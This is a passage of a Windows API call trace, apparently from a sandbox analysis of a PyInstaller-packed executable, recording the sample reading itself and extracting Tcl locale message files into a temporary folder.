"c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_be.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.065] GetFileType (hFile=0x10c) returned 0x1 [0037.065] htonl (hostlong=0x31010000) returned 0x131 [0037.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.065] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x131, lpOverlapped=0x0) returned 1 [0037.066] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.066] CloseHandle (hObject=0x10c) returned 1 [0037.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.067] htonl (hostlong=0x30000000) returned 0x30 [0037.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.067] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.067] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.067] GetFileType (hFile=0x10c) returned 0x1 [0037.067] htonl (hostlong=0x6e415700) returned 0x57416e [0037.067] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf16e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.067] htonl (hostlong=0x9f000000) returned 0x9f [0037.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.067] htonl (hostlong=0x9f000000) returned 0x9f [0037.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.067] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.067] htonl (hostlong=0xfb000000) returned 0xfb [0037.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.067] htonl (hostlong=0x9f000000) returned 0x9f [0037.067] htonl (hostlong=0xfb000000) returned 0xfb [0037.067] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.067] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.067] CloseHandle (hObject=0x10c) returned 1 [0037.067] GetLastError () returned 0x0 [0037.068] SetLastError (dwErrCode=0x0) [0037.068] GetLastError () returned 0x0 [0037.068] SetLastError (dwErrCode=0x0) [0037.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.068] GetFileType (hFile=0x10c) returned 0x1 [0037.068] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.068] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.068] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.068] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.068] CloseHandle (hObject=0x10c) returned 1 [0037.068] GetLastError () returned 0x0 [0037.068] SetLastError (dwErrCode=0x0) [0037.068] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.068] GetFileType (hFile=0x10c) returned 0x1 [0037.068] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.068] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.068] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.069] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.069] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.069] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.069] CloseHandle (hObject=0x10c) returned 1 [0037.069] GetLastError () returned 0x0 [0037.069] SetLastError (dwErrCode=0x0) [0037.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg") returned 64 [0037.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_bw.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.069] GetLastError () returned 0x2 [0037.069] SetLastError (dwErrCode=0x2) [0037.069] GetLastError () returned 0x2 [0037.069] SetLastError (dwErrCode=0x2) [0037.069] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg", lpFilePart=0x0) returned 0x3f [0037.069] GetLastError () returned 0x2 [0037.069] SetLastError (dwErrCode=0x2) [0037.069] GetLastError () returned 0x2 [0037.069] SetLastError (dwErrCode=0x2) [0037.069] GetLastError () returned 0x2 [0037.069] SetLastError (dwErrCode=0x2) [0037.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg") returned 64 [0037.069] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_bw.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_bw.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.070] GetFileType (hFile=0x10c) returned 0x1 [0037.070] htonl (hostlong=0xfb000000) returned 0xfb [0037.070] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.070] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.071] CloseHandle (hObject=0x10c) returned 1 [0037.071] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.071] htonl (hostlong=0x30000000) returned 0x30 [0037.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.071] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.071] GetFileType (hFile=0x10c) returned 0x1 [0037.071] htonl (hostlong=0xd425700) returned 0x57420d [0037.072] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf20d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.072] htonl (hostlong=0xa5000000) returned 0xa5 [0037.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa5) returned 0x544ba0 [0037.072] htonl (hostlong=0xa5000000) returned 0xa5 [0037.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.072] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.072] htonl (hostlong=0x20010000) returned 0x120 [0037.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x120) returned 0x550600 [0037.072] htonl (hostlong=0xa5000000) returned 0xa5 [0037.072] htonl (hostlong=0x20010000) returned 0x120 [0037.072] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544ba0 | out: hHeap=0x530000) returned 1 [0037.072] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.072] CloseHandle (hObject=0x10c) returned 1 [0037.072] GetLastError () returned 0x0 [0037.072] SetLastError (dwErrCode=0x0) [0037.072] GetLastError () returned 0x0 [0037.072] SetLastError (dwErrCode=0x0) [0037.072] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.072] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.072] GetFileType (hFile=0x10c) returned 0x1 [0037.072] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.072] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.072] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.073] CloseHandle (hObject=0x10c) returned 1 [0037.073] GetLastError () returned 0x0 [0037.073] SetLastError (dwErrCode=0x0) [0037.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.073] GetFileType (hFile=0x10c) returned 0x1 [0037.073] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.073] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.073] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.073] CloseHandle (hObject=0x10c) returned 1 [0037.073] GetLastError () returned 0x0 [0037.073] SetLastError (dwErrCode=0x0) [0037.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg") returned 64 [0037.073] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ca.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.074] GetLastError () returned 0x2 [0037.074] SetLastError (dwErrCode=0x2) [0037.074] GetLastError () returned 0x2 [0037.074] SetLastError (dwErrCode=0x2) [0037.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg", lpFilePart=0x0) returned 0x3f [0037.074] GetLastError () returned 0x2 [0037.074] SetLastError (dwErrCode=0x2) [0037.074] GetLastError () returned 0x2 [0037.074] SetLastError (dwErrCode=0x2) [0037.074] GetLastError () returned 0x2 [0037.074] SetLastError (dwErrCode=0x2) [0037.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg") returned 64 [0037.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\en_ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\en_ca.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.075] GetFileType (hFile=0x10c) returned 0x1 [0037.075] htonl (hostlong=0x20010000) returned 0x120 [0037.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.075] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x120, lpOverlapped=0x0) returned 1 [0037.087] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.087] CloseHandle (hObject=0x10c) returned 1 [0037.088] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.088] htonl (hostlong=0x30000000) returned 0x30 [0037.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.088] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.088] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.088] GetFileType (hFile=0x10c) returned 0x1 [0037.088] htonl (hostlong=0xb2425700) returned 0x5742b2 [0037.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bf2b2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.088] htonl (hostlong=0x9f000000) returned 0x9f [0037.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.088] htonl (hostlong=0x9f000000) returned 0x9f [0037.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.088] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.088] htonl (hostlong=0x17010000) returned 0x117 [0037.088] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.089] htonl (hostlong=0x9f000000) returned 0x9f [0037.089] htonl (hostlong=0x17010000) returned 0x117 [0037.089] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.089] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.089] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.089] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.089] CloseHandle (hObject=0x10c) returned 1 [0037.089] GetLastError () returned 0x0 [0037.089] SetLastError (dwErrCode=0x0) [0037.089] GetLastError () returned 0x0 [0037.089] SetLastError (dwErrCode=0x0) [0037.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.089] GetFileType (hFile=0x10c) returned 0x1 [0037.089] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.089] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.089] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.089] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.089] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.089] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.089] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.089] CloseHandle (hObject=0x10c) returned 1 [0037.089] GetLastError () returned 0x0 [0037.090] SetLastError (dwErrCode=0x0) [0037.090] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 